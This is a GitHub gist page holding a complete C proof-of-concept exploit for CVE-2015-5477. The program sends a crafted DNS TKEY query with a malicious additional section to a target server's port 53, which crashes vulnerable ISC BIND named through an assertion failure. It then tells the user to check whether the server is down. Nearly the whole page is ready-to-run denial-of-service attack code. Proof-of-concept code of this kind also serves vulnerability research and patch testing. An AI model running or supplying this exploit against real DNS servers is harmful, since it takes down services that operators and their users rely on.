Skip to content

Instantly share code, notes, and snippets.

@bojieli
Created July 29, 2015 16:36
Show Gist options
  • Star 7 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save bojieli/6d4c370643c6b9f64227 to your computer and use it in GitHub Desktop.
Save bojieli/6d4c370643c6b9f64227 to your computer and use it in GitHub Desktop.
CVE-2015-5477 POC
/* CVE-2015-5477 POC
* An error in handling TKEY queries can cause named to exit with a REQUIRE assertion failure
* Affected software: ISC named (bind) 9.1.0 -> 9.8.x, 9.9.0->9.9.7-P1, 9.10.0->9.10.2-P2
*
* Copyleft Bojie Li <bojieli@gmail.com>
*
* Free to modify and redistribute this program.
* Use at your own risk and you are responsible for what you are doing.
*/
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<arpa/inet.h>
#include<netinet/in.h>
#include<unistd.h>
#define T_A 1
#define dns_rdatatype_tkey 249
//DNS header structure
struct DNS_HEADER
{
unsigned short id; // identification number
unsigned char rd :1; // recursion desired
unsigned char tc :1; // truncated message
unsigned char aa :1; // authoritive answer
unsigned char opcode :4; // purpose of message
unsigned char qr :1; // query/response flag
unsigned char rcode :4; // response code
unsigned char cd :1; // checking disabled
unsigned char ad :1; // authenticated data
unsigned char z :1; // its z! reserved
unsigned char ra :1; // recursion available
unsigned short q_count; // number of question entries
unsigned short ans_count; // number of answer entries
unsigned short auth_count; // number of authority entries
unsigned short add_count; // number of resource entries
} __attribute__((packed));
struct QUESTION
{
unsigned short qtype;
unsigned short qclass;
} __attribute__((packed));
struct ANSWER
{
unsigned short type;
unsigned short class;
unsigned int ttl;
unsigned short rdlength;
} __attribute__((packed));
void str2dns(char* dns, const char* input_host)
{
int lock = 0, i;
int len = strlen(input_host) + 1;
char *host = malloc(len + 1);
strcpy(host, input_host);
strcat(host, ".");
for(i = 0; i < len; i++)
{
if (host[i] == '.')
{
*dns++ = i - lock;
for( ; lock < i; lock++)
*dns++ = host[lock];
lock++;
}
}
*dns++ = '\0';
free(host);
}
int main( int argc , char *argv[])
{
unsigned int query_type = dns_rdatatype_tkey;
char host[] = "ring0.me";
char *dns_server, *qname;
unsigned char buf[1024];
int s;
struct sockaddr_in dest;
struct DNS_HEADER *dns = NULL;
struct QUESTION *qinfo = NULL;
struct ANSWER *addinfo = NULL;
size_t query_len = 0;
if (argc < 2) {
printf("Usage: %s <dns-server-ip>\n", argv[0]);
exit(1);
}
dns_server = argv[1];
printf("Target: %s\n", dns_server);
s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
dest.sin_family = AF_INET;
dest.sin_port = htons(53);
dest.sin_addr.s_addr = inet_addr(dns_server);
dns = (struct DNS_HEADER *)&buf;
dns->id = (unsigned short) htons(getpid());
dns->qr = 0; //This is a query
dns->opcode = 0; //This is a standard query
dns->aa = 0; //Not Authoritative
dns->tc = 0; //This message is not truncated
dns->rd = 1; //Recursion Desired
dns->ra = 0; //Recursion not available! hey we dont have it (lol)
dns->z = 0;
dns->ad = 0;
dns->cd = 0;
dns->rcode = 0;
dns->q_count = htons(1); // only 1 question
dns->ans_count = 0;
dns->auth_count = 0;
dns->add_count = htons(1); // malicious additional section
query_len = sizeof(struct DNS_HEADER);
// question section
qname = (char *)(buf + query_len);
str2dns(qname, host);
query_len += strlen(qname) + 1;
qinfo = (struct QUESTION *)(buf + query_len);
qinfo->qtype = htons( query_type );
qinfo->qclass = htons(1);
query_len += sizeof(struct QUESTION);
// additional section
qname = (char *)(buf + query_len);
str2dns(qname, host);
query_len += strlen(qname) + 1;
addinfo = (struct ANSWER *)(buf + query_len);
addinfo->type = htons( T_A );
addinfo->class = htons(1);
addinfo->ttl = htons(600);
query_len += sizeof(struct ANSWER);
addinfo->rdlength = 4;
query_len += addinfo->rdlength;
// convert to network order
addinfo->rdlength = htons(addinfo->rdlength);
if( sendto(s,(char*)buf,query_len,0,(struct sockaddr*)&dest,sizeof(dest)) < 0)
{
perror("sendto failed");
}
printf("Payload sent.\nPlease check whether or not the server is down.\n");
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment